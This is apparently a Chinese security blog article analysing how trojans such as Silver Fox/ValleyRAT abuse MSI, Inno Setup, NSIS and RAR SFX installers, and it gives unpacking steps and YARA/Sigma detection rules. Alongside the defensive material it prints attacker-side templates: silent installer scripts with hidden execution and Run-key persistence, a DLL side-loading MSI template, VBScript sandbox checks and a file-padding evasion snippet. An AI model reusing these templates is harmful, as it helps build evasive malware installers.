乐于分享
好东西不私藏

Windows安装包制作技术与木马利用分析

Windows安装包制作技术与木马利用分析

目录

  1. 1. Windows 安装包技术基础
  2. 2. MSI 安装包技术详解
  3. 3. EXE 安装包制作技术
  4. 4. 安装包拆解与逆向分析技术
  5. 5. 木马利用安装包的典型案例
  6. 6. 银狐木马安装包植入技术深度拆解
  7. 7. 检测与防御方案
  8. 8. 附录:工具清单

一、Windows 安装包技术基础

1.1 安装包核心分类

类型
本质
引擎/运行时
典型工具
特点
MSI
结构化数据库文件
Windows Installer (msiexec.exe)
Orca, WiX Toolset
组件化、声明式安装/卸载/回滚
EXE
自解压+脚本执行
各自引擎
Inno Setup, NSIS, InstallShield
灵活、可控性强、可嵌入任意逻辑
APPX/MSIX
压缩包+清单
AppX Deployment
VS打包
沙箱化、商店分发
RAR SFX
自解压压缩包
WinRAR SFX模块
WinRAR
最简单、无依赖、静默执行

1.2 木马为何偏爱安装包

安装包天然具备以下 对攻击者极为有利 的特性:

  1. 1. 合法进程出身:安装程序(setup.exe, msiexec.exe)是系统信任的进程,EDR 对其行为基线较宽
  2. 2. 多阶段释放:安装过程天然涉及"释放文件→创建目录→写注册表→启动进程",与恶意行为高度重叠,难以区分
  3. 3. 签名可伪造/盗用:攻击者可以申请合法证书签名安装包,或盗用泄露的私钥签名
  4. 4. 用户心理惯性:用户对"安装软件"这一行为警惕性低,尤其是安装"正常功能"的软件时
  5. 5. 持久化天然入口:安装包可以合法创建开机启动项、服务、计划任务
  6. 6. 静默安装参数/S/silent/qn 等参数可实现完全无界面安装

二、MSI 安装包技术详解

2.1 MSI 文件结构

MSI 文件本质是一个 COM结构化存储(Compound File) 数据库,内部包含多个表(Table),遵循 Windows Installer 规范。

┌──────────────────────────────────────────┐│  MSI Windows Installer Package (.msi)    │├──────────────────────────────────────────┤│  Compound File Header (COM结构存储头)      │├──────────────────────────────────────────┤│  _Tables 流                               ││  ├── Feature (功能定义)                    ││  ├── Component (组件定义)                  ││  ├── File (文件表)                        ││  ├── Directory (目录结构)                  ││  ├── Registry (注册表操作)                 ││  ├── CustomAction (自定义动作) ★ 关键      ││  ├── Binary (嵌入二进制数据) ★ 关键         ││  ├── Property (安装属性)                   ││  └── ...                                  │├──────────────────────────────────────────┤│  _Streams (嵌入文件流,如 Cabinets)         │└──────────────────────────────────────────┘

2.2 关键表结构

Feature (功能)

Feature      | Title    | Level | DescriptionMainProduct  | 主程序    | 1     | 核心功能模块PluginModule | 插件      | 2     | 可选插件

Component (组件)

Component    | ComponentId                          | Directory_  | KeyPathMainExe      | {GUID}                               | INSTALLDIR  | app.exeMaliciousDLL | {GUID}                               | INSTALLDIR  | evil.dll

File (文件表)

File         | Component_ | FileName   | FileSize | Version | Languageapp.exe      | MainExe    | app.exe    | 1024000  | 1.0.0   | 1033evil.dll     | MaliciousDLL| evil.dll  | 256000   |         |

CustomAction (自定义动作 — 木马核心关注点)

CustomAction 是 MSI 安装包中 最危险 的功能,允许安装过程中执行任意代码:

Action类型
Type值
说明
木马用途
EXE 执行
18 (msidbCustomActionTypeExe+msidbCustomActionTypeBinary)
从 Binary 表提取并执行 EXE
执行恶意Loader
DLL 调用
1 (DLL+Binary)
从 Binary 表提取 DLL 并调用导出函数
银狐常用
:加载恶意DLL
VBScript
6 (VBScript+Binary)
执行嵌入的 VBScript
银狐常用:MZ头重建
JScript
34 (JScript+Binary)
执行嵌入的 JScript
脚本类Payload
目录下的EXE
50 (Exe+TargetDir)
执行安装目录下的EXE
启动释放的恶意程序

Binary 表(安装包内嵌二进制)

Binary 表存储 不超过 65535 字节的二进制数据,常用于嵌入:

  • • CustomAction 所需的 DLL/EXE
  • • VBScript/JScript 脚本
  • • 图标、位图等资源

⚠ 攻击者视角:Binary 表中的数据不直接以文件形式落地,静态扫描引擎通常不会深入解析 MSI Binary 表,这是经典的 静态免杀盲区

2.3 msiexec.exe 关键命令行参数

# 标准安装(带UI)msiexec /i package.msi# 静默安装(无UI)★ 木马常用msiexec /i package.msi /qn /norestart# 被动安装(仅进度条)msiexec /i package.msi /passive# 传递属性(木马动态参数)msiexec /i package.msi /qn CUSTOM_VAR="http://c2-server/payload"# 提取文件(不安装)msiexec /a package.msi /qb TARGETDIR=C:\extract\# 日志(调试)msiexec /i package.msi /l*v install.log

2.4 MSI 安装流程(关键阶段)

1. 获取源 → 2. 解析MSI数据库 → 3. 构建执行脚本   → 4. UiSequence (UI序列) → 5. ExecuteSequence (执行序列)      → InstallInitialize(开始事务)      → ProcessComponents(处理组件)      → UninstallComponents(卸载旧版)      → **InstallFiles**(释放文件)→ **WriteRegistryValues**(写注册表)      → **CustomActions**(自定义动作 — 攻击点)      → InstallFinalize(提交事务)   → 6. 清理

木马关键阶段:CustomActions 和 InstallFiles 是主要的恶意代码执行点。


三、EXE 安装包制作技术

3.1 主流安装包制作工具对比

工具
语言/引擎
输出
免费版
逆向难度
木马使用频率
Inno Setup
Pascal 脚本 (Compiled)
EXE
✅ 免费
中等(需解包)
⭐⭐⭐⭐⭐
NSIS
脚本 (编译为字节码)
EXE
✅ 免费
高(需专用工具)
⭐⭐⭐⭐
Advanced Installer
GUI + MSI
MSI/EXE
❌ 付费有功能限制
低(标准MSI)
⭐⭐⭐⭐⭐
InstallShield
专有脚本
MSI/EXE
❌ 付费
高(InstallShield Cabinet)
⭐⭐⭐
RAR SFX
自解压模块
EXE
✅ 免费
简单(可用7-Zip提取)
⭐⭐⭐⭐⭐
7-Zip SFX
自解压模块
EXE
✅ 免费
简单
⭐⭐⭐
Smart Install Maker
专有
EXE
❌ 付费
中等
⭐⭐⭐
WiX Toolset
XML编译
MSI/EXE
✅ 免费
低(标准MSI)
⭐⭐
Setup Factory
Lua脚本
EXE
❌ 付费
中等
⭐⭐⭐

3.2 Inno Setup 深度分析

Inno Setup 是 木马团伙最常用的安装包工具,原因:

  1. 1. 完全免费,无功能限制
  2. 2. Pascal 脚本编译,反编译后仍可读
  3. 3. 支持 静默安装 (/VERYSILENT /SUPPRESSMSGBOXES)
  4. 4. 支持 文件预加载注册表操作运行程序
  5. 5. 生成的安装包结构相对标准,但可自定义加壳

Inno Setup 安装包结构:

┌─────────────────────────────────────┐│  Setup.exe (Inno Setup 安装程序壳)    │├─────────────────────────────────────┤│  [Overlay] 安装数据段                 ││  ├── Setup.e32 (配置脚本的编译数据)     ││  ├── Setup-0.bin (第1个数据文件)       ││  ├── Setup-1.bin (第2个数据文件)       ││  └── ...                             │└─────────────────────────────────────┘

Inno Setup 关键脚本指令(木马视角):

[Setup]AppName=伪装程序名        ; 显示合法名称Uninstallable=no         ; 禁用卸载 ⚠CreateUninstallRegKey=no  ; 不留卸载注册表DisableProgramGroupPage=yesDisableDirPage=yes        ; 用户不可选路径 ⚠[Files]; 释放恶意文件Source: "evil.dll"; DestDir: "{app}"; Flags: ignoreversionSource: "legit.exe"; DestDir: "{app}"; Flags: ignoreversion[Run]; 安装完成后立即执行 ★ 木马入口Filename: "{app}\legit.exe"; Parameters: ""; Flags: runhidden  ; 隐藏运行 ⚠Filename: "{app}\evil.dll"; Flags: runhidden shellexec       ; DLL注册 ⚠[Registry]; 持久化 — 开机自启动Root: HKCU; Subkey: "Software\Microsoft\Windows\CurrentVersion\Run"; \  ValueType: string; ValueName: "WindowsUpdate"; ValueData: "{app}\legit.exe"[Icons]; 创建伪装快捷方式Name: "{group}\Microsoft Edge"; Filename: "{app}\legit.exe"

3.3 NSIS 深度分析

NSIS(Nullsoft Scriptable Install System)使用 脚本编译为字节码,反编译难度较高。

木马常用NSIS特性:

; 静默安装SilentInstall silent; 释放文件SetOutPath "$INSTDIR"File "evil.exe"File "legit.dll"; 隐藏运行ExecDos::exec /DETAILED /HIDE "$INSTDIR\evil.exe" "" ""; 写注册表持久化WriteRegStr HKCU "Software\Microsoft\Windows\CurrentVersion\Run" \  "WindowsService" "$INSTDIR\evil.exe"; 创建服务nsExec::Exec "sc create MaliciousService binPath= $INSTDIR\evil.exe start= auto"

3.4 RAR SFX 自解压技术

RAR SFX 是 最简单、最难以检测 的安装包形式,银狐早期大量使用。

RAR SFX 结构:

┌──────────────────────────────────┐│  SFX 模块 (Default64.SFX)        │├──────────────────────────────────┤│  RAR 压缩数据 (包含恶意文件)       │├──────────────────────────────────┤│  SFX 脚本配置 (注释区)            │└──────────────────────────────────┘

SFX 脚本配置(木马常用):

; Setup= 安装完成后执行的文件Setup=legit.exe; TempMode= 在临时目录解压,不留痕迹 ★TempMode; Silent=1 完全静默,不显示解压过程 ★Silent=1; Overwrite=1 覆盖已存在文件Overwrite=1; Path 解压路径Path=%TEMP%\update

3.5 Advanced Installer 与 InstallShield

Advanced Installer 可将项目导出为标准 MSI 格式,攻击者利用其 GUI 快速生成安装包:

  • • 支持 CustomAction 添加任意 EXE/DLL/VBScript
  • • 支持 Prerequisites(先决条件)安装 .NET 或 VC++ 运行库,降低目标环境限制
  • • 支持 数字签名 一键签名

InstallShield 生成的安装包使用特有的 .cab 压缩格式(ISSetup.dll),拆解需要专用工具。


四、安装包拆解与逆向分析技术

4.1 MSI 拆解分析

4.1.1 基础拆解工具

工具
功能
来源
lessmsi
开源 MSI 解包器,提取文件和表
GitHub
Orca (Windows SDK)
微软官方 MSI 数据库编辑器
Windows SDK
7-Zip
可直接提取 MSI 中的 CAB 压缩文件
7-zip.org
MsiDb
 (msiinfo.exe)
命令行 MSI 数据库查询
Windows SDK
dark.exe (WiX Toolset)
反编译 MSI → WiX 源码
WiX Toolset

4.1.2 使用 lessmsi 拆解

# 安装 lessmsi (choco)choco install lessmsi# 提取 MSI 中所有文件lessmsi x "C:\malware\payload.msi" "C:\extract\"# 查看 MSI 表结构lessmsi l "C:\malware\payload.msi"

4.1.3 使用 Orca 分析 MSI 表结构

Orca 是分析 MSI 最直接的 GUI 工具,重点查看以下表:

1. CustomAction 表 ★ ★ ★ ★ ★    - 查看所有自定义动作,重点关注 Type=1 (DLL) 和 Type=18 (EXE)   - DLL 动作需查看 Binary 表中的对应条目2. Binary 表 ★ ★ ★ ★ ★   - 存储嵌入的 DLL/EXE/脚本文件   - 右键 → Export → 提取为二进制文件3. File 表 ★ ★ ★   - 列出所有需要释放的文件   - 关注文件名、大小、版本4. Registry 表 ★ ★ ★ ★   - 注册表写入操作   - 持久化相关条目(Run键、服务路径)5. Property 表 ★ ★   - 安装属性   - 关注自定义属性(可能传递恶意参数)6. InstallExecuteSequence 表 ★ ★ ★   - 安装执行序列   - 关注 CustomAction 的执行阶段和时间点

4.1.4 手动提取 Binary 表中的恶意载荷

# 使用 msiinfo (Windows SDK) 提取 Binary 表中的数据msiinfo export payload.msi Binary > binary_data.idt# 或使用 lessmsi 提取所有二进制流lessmsi x payload.msi "C:\extract"# 提取后用 hex 分析或直接逆向

4.1.5 MSI 恶意行为检测脚本(PowerShell)

# 检测 MSI 安装包中的可疑 CustomActionfunction Test-MaliciousMSI {    param([string]$msiPath)    $msi = New-Object -ComObject WindowsInstaller.Installer    $db = $msi.GetType().InvokeMember("OpenDatabase", [System.Reflection.BindingFlags]::InvokeMethod, $null, $msi, @($msiPath, 0))    # 查询 CustomAction 表    $view = $db.GetType().InvokeMember("OpenView", [System.Reflection.BindingFlags]::InvokeMethod, $null, $db, @("SELECT * FROM CustomAction"))    $view.GetType().InvokeMember("Execute", [System.Reflection.BindingFlags]::InvokeMethod, $null, $view, $null)    $record = $view.GetType().InvokeMember("Fetch", [System.Reflection.BindingFlags]::InvokeMethod, $null, $view, $null)    $actions = @()    while ($record -ne $null) {        $action = @{            Action = $record.GetType().InvokeMember("StringData", [System.Reflection.BindingFlags]::GetProperty, $null, $record, @(1))            Type   = $record.GetType().InvokeMember("IntegerData", [System.Reflection.BindingFlags]::GetProperty, $null, $record, @(2))            Source = $record.GetType().InvokeMember("StringData", [System.Reflection.BindingFlags]::GetProperty, $null, $record, @(3))            Target = $record.GetType().InvokeMember("StringData", [System.Reflection.BindingFlags]::GetProperty, $null, $record, @(4))        }        # Type 值判断        $typeDesc = switch ($action.Type) {            1  { "DLL (Binary)" }            6  { "VBScript (Binary)" }            17 { "EXE (Binary)" }            18 { "EXE (Binary)" }            34 { "JScript (Binary)" }            50 { "EXE (TargetDir)" }            65 { "DLL (File)" }            default { "Type=$($action.Type)" }        }        Write-Host "[!] CustomAction: $($action.Action) | Type: $typeDesc" -ForegroundColor Yellow        Write-Host "    Source: $($action.Source) | Target: $($action.Target)"        $actions += $action        $record = $view.GetType().InvokeMember("Fetch", [System.Reflection.BindingFlags]::InvokeMethod, $null, $view, $null)    }    return $actions}

4.2 EXE 安装包拆解

4.2.1 安装包类型识别

# 查看文件尾部特征字符串(识别安装包类型)# Inno Setup: "Inno Setup Setup Data" (文件尾)# NSIS: "Nullsoft Install System" (文件尾)# InstallShield: "InstallShield" (文件尾)# RAR SFX: "Rar!" (文件头) + SFX脚本在注释区# 7-Zip SFX: 7z文件尾# 使用 Detect It Easy (DiE) 或 Exeinfo PE 自动识别

4.2.2 Inno Setup 解包

# 使用 InnoUnp (Inno Setup Unpacker)# 项目地址: https://github.com/wwh1004/InnoUnpinnounp.exe -x "C:\malware\inno_setup.exe" -d"C:\extract\"# 参数说明:# -x : 解压模式# -m : 仅提取文件清单# -d : 输出目录# 使用官方支持的 isx (支持最新版本)isx -d "C:\extract\" "C:\malware\inno_setup.exe"

4.2.3 NSIS 解包

# 使用 7-Zip 可解包部分 NSIS 安装包(使用 NSIS 的固实压缩时无效)7z x "C:\malware\nsis_setup.exe" -o"C:\extract\"# 使用专用工具:# - NSIS Unpacker (nsisunpacker.py - Python脚本)# - un7b (支持较老版本)# - 7-Zip NSIS 插件# 关键:NSIS 脚本编译为字节码,很难反编译为原始脚本# 但可通过动态分析(运行+监控)获取行为

4.2.4 RAR SFX 解包

# 方法1:使用 WinRAR 直接打开(自动识别为自解压包)WinRAR.exe e "C:\malware\sfx_setup.exe"# 方法2:使用 UnRAR 提取unrar e "C:\malware\sfx_setup.exe" "C:\extract\"# 方法3:使用 7-Zip 提取7z x "C:\malware\sfx_setup.exe" -o"C:\extract\"# 查看 SFX 脚本配置(注释区)unrar lt "C:\malware\sfx_setup.exe"

4.2.5 InstallShield 解包

# 使用 i6comp/i5comp 解包 InstallShield CABi6comp.exe x "C:\malware\data1.cab" "C:\extract\"# 使用 Universal Extractor 2 自动识别并解包# UniExtract2 集成了多种解包引擎

4.3 静态分析技术

4.3.1 安装包元数据提取

# 查看数字签名Get-AuthenticodeSignature -FilePath "C:\malware\setup.exe"# 查看文件版本信息(Get-Item "C:\malware\setup.exe").VersionInfo | Format-List *# 查看 PE 结构(如果是 EXE 安装包外壳)# 使用 sigcheck (Sysinternals)sigcheck -a "C:\malware\setup.exe"

4.3.2 Hex 搜索特征

在安装包二进制中搜索以下关键字符串:

"CustomAction"      → MSI 自定义动作"http://"           → C2 地址/下载链接"https://"          → C2 地址/下载链接"powershell"        → PowerShell 执行"rundll32"          → LOLBins"regsvr32"          → LOLBins"mshta"             → LOLBins"cmd.exe"           → 命令行执行"/VERYSILENT"       → Inno Setup 静默参数"/S"                → NSIS 静默参数"/qn"               → MSI 静默参数"TempMode"          → RAR SFX 临时模式"Silent=1"          → RAR SFX 静默模式"RunAfter"          → 安装完成后执行

4.3.3 熵值检测(检测加密/压缩载荷)

# 使用 PowerShell 计算文件块熵值function Get-FileEntropy {    param([string]$path, [int]$blockSize = 4096)    $bytes = [System.IO.File]::ReadAllBytes($path)    $totalEntropy = 0.0    $blockCount = 0    for ($i = 0; $i -lt $bytes.Length; $i += $blockSize) {        $block = $bytes[$i..[Math]::Min($i + $blockSize - 1, $bytes.Length - 1)]        $freq = @{}        foreach ($b in $block) {            $freq[$b] = if ($freq.ContainsKey($b)) { $freq[$b] + 1 } else { 1 }        }        $entropy = 0.0        foreach ($count in $freq.Values) {            $p = $count / $block.Length            if ($p -gt 0) { $entropy -= $p * [Math]::Log($p, 2) }        }        $totalEntropy += $entropy        $blockCount++        if ($entropy -gt 7.5) {            Write-Host "[!] 高熵块: offset=0x$(($i).ToString('X8')) entropy=$([Math]::Round($entropy, 2))" -ForegroundColor Red        }    }    $avgEntropy = $totalEntropy / $blockCount    Write-Host "平均熵值: $([Math]::Round($avgEntropy, 2))" -ForegroundColor Cyan    Write-Host "(正常PE: 4.0-6.5 | 加密/压缩壳: 7.0-8.0)" -ForegroundColor Gray}

4.4 动态分析技术

4.4.1 安装监控工具

工具
用途
Procmon (Process Monitor)
监控文件/注册表/进程活动
API Monitor
监控 API 调用
Wireshark
监控网络连接
FakeNet-NG
模拟网络服务
RegShot
安装前后注册表快照对比
Noriben
自动化沙箱脚本
CAPA
静态行为检测(可检测安装包)

4.4.2 Procmon 监控安装过程

# 启动 Procmon 过滤规则(分析安装包时)# 过滤 Process Name 包含 setup.exe, msiexec.exe# 过滤 Operation 包含 CreateFile, WriteFile, RegCreateKey, RegSetValue, Process Create# 过滤 Path 排除 C:\Windows\System32 的常规操作# 保存日志 → 过滤关键操作:# 1. 写入到非系统目录的 PE 文件# 2. 写入到 Run 键、服务键的注册表# 3. 创建新的进程(尤其是隐藏窗口)# 4. 网络连接

4.4.3 API Monitor 动态分析

重点关注以下 API 调用序列:

1. 文件操作:   - CreateFile (写入新文件)   - WriteFile (写恶意代码)   - DeleteFile (删自身痕迹)2. 进程操作:   - CreateProcess (启动恶意进程)   - CreateRemoteThread (注入)   - WriteProcessMemory (内存写入)3. 注册表操作:   - RegCreateKeyEx (持久化)   - RegSetValueEx (持久化)4. 网络操作:   - socket, connect (C2连接)   - URLDownloadToFile (远程下载)   - WinHttpOpen (HTTP通信)

4.4.4 沙箱自动化分析

# 使用 Noriben 自动化沙箱python Noriben.py -t 120 --cmd "C:\malware\setup.exe /S"# 使用 CAPA 检测安装包行为capa.exe "C:\malware\setup.exe"

五、木马利用安装包的典型案例

5.1 银狐木马安装包技术全景

银狐是目前 将安装包利用到极致 的木马家族,几乎用遍了所有主流安装包技术:

安装包技术时间线

2021           2022-2023          2024              2025-2026│               │                  │                 │RAR SFX白加黑   Inno Setup        MSI CustomAction  MSI + VBScript(简单免杀)      (多阶段释放)       DLL加载           + PNG隐写                                    │                 │                                    Advanced Installer WiX MSI                                    MSI商业工具滥用    多层解密链

银狐各阶段安装包技术特征

时期
安装包类型
核心技术
特点
早期 (2021-2022)
RAR SFX
SFX脚本TempMode + Silent=1, Setup=exe
简单直接,文件夹图标伪装
中期 (2023)
Inno Setup
多阶段解包、Pascal脚本编译、白加黑DLL侧加载
代码量增加,反调试引入
后期 (2024)
MSI (Advanced Installer)
CustomAction DLL加载、Binary表嵌入
合法签名对抗、MOTW绕过
最新 (2025-2026)
MSI + VBScript + PNG隐写
SMC自修改代码、MZ头重建、mscoree.dll白利用链
全链路无文件、内核RootKit

5.2 经典案例一:RAR SFX + 白加黑(银狐早期)

感染流程:

用户双击 "2023年工资单.exe"  │  ▼RAR SFX 自解压 → TempMode → %TEMP%\update\  │  ├── legit.exe  (有数字签名的白文件,如迅雷/腾讯的某个组件)  ├── evil.dll   (恶意DLL,与某白文件的导入表DLL同名)  └── 配置脚本    (Silent=1, Setup=legit.exe)  │  ▼legit.exe 启动 → 加载同目录下 evil.dll (DLL劫持)  │  ▼evil.dll → DllMain → 反调试检测 → 解密Shellcode →           反射加载 → 远程下载第二阶段Payload  │  ▼最终:ValleyRAT 远控驻留

关键免杀点:

  1. 1. RAR SFX 本身无数字签名要求,可随意修改
  2. 2. TempMode 确保安装结束后自动删除释放的文件
  3. 3. 白文件有合法签名,杀软不拦截
  4. 4. DLL 劫持利用的是合法白文件本身的特性

5.3 经典案例二:MSI CustomAction DLL(银狐中期)

感染流程:

用户双击 "企业补贴政策名单.msi"  │  ▼msiexec.exe /i 解析 MSI 数据库  │  ▼读取 Binary 表 → 提取嵌入的恶意 DLL  │  ▼ExecuteSequence → CustomAction →   Type=1 (DLL+Binary) → 从 Binary 表提取 DLL  │  ▼msiexec.exe 加载 DLL → 调用指定导出函数  │  ▼DLL 内部实现:  1. 读取 MSI 中加密的 all.zip 压缩包  2. 解密(密码:hello202411)  3. 释放白加黑文件(QMUpload.exe + 恶意DLL)  4. 创建服务 StartService → 服务路径指向 QMUpload.exe  │  ▼最终:QMUpload.exe (白) → 加载恶意DLL → ValleyRAT

关键免杀点:

  1. 1. MSI 格式绕过文件扩展名过滤(很多邮件网关不拦截 .msi
  2. 2. Binary 表中的 DLL 直接内存加载,不落地文件
  3. 3. msiexec.exe 是微软签名进程,行为基线宽
  4. 4. 使用 合法的商业安装包制作工具 (Advanced Installer) 签名

5.4 经典案例三:MSI + VBScript + MZ头重建(银狐新变种)

感染流程:

用户双击 "MSI安装包.msi"  │  ▼msiexec.exe 解析 MSI  │  ▼CustomAction Type=6 (VBScript嵌入在Binary表中)  │  ▼VBScript 执行流程:  │  ├── 步骤1: 读取 MSI Binary 表中存储的 two.txt(不含MZ头的PE)  │          16进制文本模式存储  │  ├── 步骤2: 补全 "MZ" 头 → 重建 PE 文件(tttssx.exe)  │          文件头体分离存储绕过静态检测  │  ├── 步骤3: 用 cmd.exe 反复启动 tttssx.exe(进程持久化)  │          cmd /c tttssx.exe → tttssx.exe → 检测是否运行  │          → 未运行则 cmd 再次启动 → 循环  │  └── 步骤4: tttssx.exe 运行后下载后续阶段文件              eufRk5.exe + mscoree.dll (白利用)              → CLRCreateInstance → 解密 → Shellcode → DLL加载  │  ▼最终:多层解密 → ValleyRAT

关键免杀点:

  1. 1. PE 文件 头体分离:1.txt(头)+ 2.txt(体),完全逃逸 PE 静态扫描
  2. 2. 以 .txt 文本存储,AV 不会扫描为 PE
  3. 3. VBScript 在运行时组装,内存中重建 PE
  4. 4. 用 cmd 循环拉起,规避进程守护的监控

5.5 经典案例四:Advanced Installer 批量生成 MSI

银狐使用 Advanced Installer 批量生成恶意 MSI 的核心技术:

<!-- Advanced Installer 项目模板(银狐变种) --><AI>  <MSI>    <Properties>      <Property Name="MANUFACTURER">Microsoft Corporation</Property>      <Property Name="PRODUCT_NAME">Microsoft Edge Update</Property>    </Properties>  </MSI>  <Files>    <!-- 释放白加黑文件 -->    <Component GUID="{malicious-GUID}">      <File Source="legit.exe" Target="legit.exe"/>      <File Source="evil.dll" Target="version.dll"/>  <!-- DLL侧加载 -->    </Component>  </Files>  <CustomActions>    <!-- 自定义动作:启动白文件触发DLL加载 -->    <CustomAction Id="LaunchMalware"                  FileKey="legit.exe"                  ExeCommand=""                  Execute="deferred"                  Impersonate="no"                  Return="asyncNoWait"/>  </CustomActions></AI>

5.6 其他木马家族安装包利用案例

5.6.1 Emotet → NSIS 安装包

Emotet 大量使用 NSIS 制作的安装包作为初始载荷:

document.doc → macros → powershell → download NSIS installer  │  ▼NSIS installer → Silent → 释放 DLL → regsvr32 注册  │  ▼DLL → 反射加载 → Emotet 核心模块

5.6.2 QakBot → MSI + CAB 嵌套

Phishing email → link → download MSI  │  ▼MSI → CustomAction → 释放 WSF (Windows Script File)  │  ▼WSF → JScript → 下载下一阶段 DLL

5.6.3 DarkGate → AutoIT 编译 + RAR SFX

RAR SFX (诈骗主题文件) → 释放 AutoIT 解释器 + .au3 脚本  │  ▼AutoIT3.exe → 加载编译的 .a3x 脚本文件  │  ▼从 Telegram 频道获取 C2 地址 → 多级解密

5.6.4 LockBit 勒索软件 → MSI + GPO 分发

LockBit 通过 Active Directory GPO(组策略)下发恶意 MSI 到域内所有机器:

攻击者入侵域控 → GPO设置 → Computer Configuration →   Software Installation → Assigned Application → malicious.msi  │  ▼域内所有机器下次 gpupdate → msiexec /i 自动安装  │  ▼MSI → CustomAction → LockBit 勒索加密程序

六、银狐木马安装包植入技术深度拆解

6.1 安装包与免杀的融合

银狐的安装包免杀体系是 多层次、立体化 的:

第1层: 格式免杀  ├── MSI 格式绕过静态扫描  ├── RAR SFX 无PE结构  └── PE文件头体分离(.txt存储)第2层: 签名免杀  ├── 盗用/购买合法数字签名  ├── 使用知名厂商签名文件(白利用)  └── 使用合法工具签名(Advanced Installer自带签名)第3层: 执行免杀  ├── msiexec.exe 合法进程执行  ├── DLL侧加载(白文件加载黑DLL)  └── LOLBins 连环调用第4层: 内容免杀  ├── 加密/压缩的Payload(高熵)  ├── 文件膨胀(>50MB绕过云查杀)  └── Shellcode分段加载

6.2 MSI 恶意安装包制作流程

攻击者环境:┌────────────────────────────────────────────┐│ 步骤1: 准备恶意载荷                          ││   evil.dll (反弹Shell)                      ││   ValleyRAT.exe (远控)                      ││   decrypt.ps1 (解密脚本)                    │├────────────────────────────────────────────┤│ 步骤2: 选择安装包工具                        ││   Advanced Installer / WiX Toolset         ││   Inno Setup / RAR SFX                     │├────────────────────────────────────────────┤│ 步骤3: 配置安装包逻辑                        ││   添加 CustomAction (DLL/EXE/VBScript)     ││   设置静默安装参数                          ││   配置释放路径(%TEMP% 或 %APPDATA%)        ││   添加持久化(Run键/服务/计划任务)           │├────────────────────────────────────────────┤│ 步骤4: 签名                                 ││   购买 Code Signing Certificate            ││   盗用泄露的私钥签名                         ││   使用 CRL 未撤销的过期证书                  │├────────────────────────────────────────────┤│ 步骤5: 投放                                 ││   钓鱼邮件附件 / 搜索引擎推广 / IM传播        ││   文件名:工资单.msi / 企业补贴政策名单.msi   │└────────────────────────────────────────────┘

6.3 银狐安装包中常见的反分析技术

6.3.1 反沙箱检查

' MSI Binary 表中嵌入的 VBScript 反沙箱示例' 银狐变种 VBScript 反分析逻辑' 检查内存大小 (< 2GB → 沙箱)Set wmi = GetObject("winmgmts:\\.\root\cimv2")Set mem = wmi.ExecQuery("SELECT TotalPhysicalMemory FROM Win32_ComputerSystem")For Each m In mem    If m.TotalPhysicalMemory < 2147483648 Then WScript.QuitNext' 检查 CPU 核心数 (< 2 → 沙箱)Set cpu = wmi.ExecQuery("SELECT NumberOfCores FROM Win32_Processor")For Each c In cpu    If c.NumberOfCores < 2 Then WScript.QuitNext' 检查磁盘大小 (< 60GB → 沙箱)Set disk = wmi.ExecQuery("SELECT Size FROM Win32_DiskDrive")For Each d In disk    If d.Size < 64424509440 Then WScript.QuitNext' 检查是否有常用分析工具进程analystTools = Array("procmon.exe", "processhacker.exe", "wireshark.exe",                     "x64dbg.exe", "ida.exe", "procexp.exe", "vmtoolsd.exe",                     "vboxservice.exe")For Each tool In analystTools    Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")    Set results = proc.ExecQuery("SELECT * FROM Win32_Process WHERE Name='" & tool & "'")    If results.Count > 0 Then WScript.QuitNext

6.3.2 动态解密的 Installer

银狐使用 SMC(Self-Modifying Code)技术对抗静态分析:

MSI Binary 表中的 DLL:  初始状态 → 加密数据(高熵)  ↓DLL 加载到内存时:  DllMain → 解密循环(XOR / AES 解密自身)  ↓解密后:  原始恶意代码暴露 → 创建线程执行后续操作  ↓执行完成后:  再次加密内存中的代码 → 规避内存扫描

6.3.3 文件膨胀免杀

# 在恶意 DLL 尾部填充无效数据到 245MB# 原因:多数云沙箱上传限制 50-100MB$evil = [System.IO.File]::ReadAllBytes("evil.dll")$filler = New-Object byte[] (245MB - $evil.Length)$result = $evil + $filler[System.IO.File]::WriteAllBytes("evil_padded.dll", $result)

6.4 安装包植入木马的 MITRE ATT&CK 映射

技术
MITRE ID
阶段
MSI CustomAction
T1218.007 (Msiexec)
防御规避
DLL 侧加载
T1574.002
持久化/权限提升
RAR SFX
T1204.002 (用户执行:恶意文件)
执行
注册表 Run 键
T1547.001
持久化
创建服务
T1543.003
持久化
计划任务
T1053.005
持久化
Process Hollowing
T1055.012
防御规避
加密数据
T1027.013
防御规避
文件膨胀
T1027.001
防御规避
签名伪造
T1553.002
防御规避
无文件/内存执行
T1055
防御规避
系统信息发现
T1082
发现
虚拟化/沙箱检测
T1497
防御规避

七、检测与防御方案

7.1 静态检测规则

YARA 规则 — MSI 恶意安装包检测

rule Malicious_MSI_CustomAction_Execute{    meta:        description = "检测 MSI 安装包中可疑的自定义动作"        author = "Security Analyst"        date = "2026-07-18"    strings:        $ca_dll = "CustomAction" nocase        $dll_type1 = { 01 00 00 00 00 00 00 00 }  // Type=DLL        $dll_type17 = { 11 00 00 00 00 00 00 00 }  // Type=EXE from Binary        $vb_type = { 06 00 00 00 00 00 00 00 }     // Type=VBScript        $js_type = { 22 00 00 00 00 00 00 00 }     // Type=JScript        $silent = "/qn" nocase        $ps = "powershell" nocase        $url = { 68 74 74 70 73 3A 2F 2F }         // "https://"        $dll_name = ".dll" nocase    condition:        $ca_dll and         (#dll_type1 > 2 or $vb_type or $js_type) and         ($silent or $ps or $url)}rule Malicious_SFX_Silent{    meta:        description = "检测 RAR SFX 自解压静默执行"    strings:        // SFX 脚本关键字        $silent = "Silent=1" nocase        $temp_mode = "TempMode" nocase        $setup = "Setup=" nocase        $presetup = "Presetup=" nocase        // 常见诱饵文件名        $salary = "工资" nocase        $invoice = "发票" nocase        $report = "报告" nocase        $update = "update" nocase    condition:        $temp_mode and $silent and $setup and        (#salary > 0 or #invoice > 0 or #report > 0 or #update > 0)}

SIGMA 规则 — 事件日志检测

title: 通过 MSI 安装包执行可疑自定义动作id: d3c5a1e2-b6f4-4a9e-8c2d-1f7e3a5b9c0dstatus: experimentaldescription: 检测 msiexec.exe 通过 CustomAction 执行可疑 DLL/VBScriptreferences:    - https://attack.mitre.org/techniques/T1218/007/tags:    - attack.defense_evasion    - attack.T1218.007logsource:    product: windows    service: process_creationdetection:    selection:        Image|endswith: '\msiexec.exe'        CommandLine|contains:            - '/i'            - '/qn'    filter_legit:        ParentImage|endswith:            - '\svchost.exe'            - '\TrustedInstaller.exe'    condition: selection and not filter_legitfalsepositives:    - 合法软件批量部署(需根据环境基线调整)level: medium

7.2 行为检测

行为
检测点
工具/EVTX
msiexec.exe 创建子进程
